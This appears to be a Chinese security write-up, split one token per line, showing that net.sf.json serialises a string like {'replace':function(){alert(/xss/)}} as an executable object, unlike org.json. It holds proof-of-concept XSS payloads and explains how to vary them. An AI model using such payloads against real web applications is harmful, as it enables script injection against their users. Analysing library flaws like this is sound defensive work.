-
import
net
.
sf
.
json
.
JSONObject
;
-
public
class
Test
{
-
public
static
void
main
(
String
[]
args
)
{
-
JSONObject
json
=
new
JSONObject
();
-
json
.
put
(“
key
”,
“{‘
replace
’:
function
(){
alert
(/
xss
/)}}”);
-
System
.
out
.
println
(
json
);
-
System
.
out
.
println
(((
JSONObject
)
json
.
get
(“
key
”)).
get
(“
replace
”));
-
}
-
}
-
org
.
json
代码片段:
-
import
org
.
json
.
JSONException
;
-
import
org
.
json
.
JSONObject
;
-
public
class
Test
{
-
public
static
void
main
(
String
[]
args
)
throws
JSONException
{
-
JSONObject
json
=
new
JSONObject
();
-
json
.
put
(“
key
”,
“{‘
replace
’:
function
(){
alert
(/
xss
/)}}”);
-
System
.
out
.
println
(
json
);
-
System
.
out
.
println
(((
JSONObject
)
json
.
get
(“
key
”)).
get
(“
replace
”));
-
}
-
}
JSONObject
json
=
null
;
json
=
new
JSONObject
();
json
.
put
(
"code"
,
200
);
json
.
put
(
"info"
,
"tester"
);
json
.
put
(
"msg"
,
"success"
);
System
.
out
.
println
(
json
);
// 输出:{"code":200,"info":"tester","msg":"success"}
在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。
如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?
json
=
new
JSONObject
();
json
.
put
(
"code"
,
200
);
json
.
put
(
"info"
,
"{'replace':function(){alert(/xss/)}}"
);
json
.
put
(
"msg"
,
"success"
);
System
.
out
.
println
(
json
);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}
JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。
可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}
net.sf.json代码片段:
使用net.sf.json输出结果是:
{"key":{"replace":function(){ alert(/xss/) }}}
function(){ alert(/xss/) }[/code]
这里net.sf.json的value实际是一个JSONObject对象,所以还可以调用注入value中JSONObject对象,这是net.sf.json正常的嵌套功能,但是它不符合js json的标准
使用org.json输出结果是:
[code]
{"key":"{'replace':function(){alert(/xss/)}}"}
Exception in thread "main" java.lang.ClassCastException: java.lang.String cannot be cast to org.json.JSONObject
at Test.main(Test.java:20)
org.json是符合js json标准的,它的value就是个String,cast成JSONObject就报异常了.
其实就是个net.sf.json的json与js json输出标准不一样造成的,从而可以控制输出端的内容,通过构造在前端做某些js函数操作时,其内容会被当成js语句块执行,就是上面的xss了
那为什么不用org.json,要用net.sf.json了?因为net.sf.json更为强大(比如:多层嵌套(类似迭代器),javabean转换等)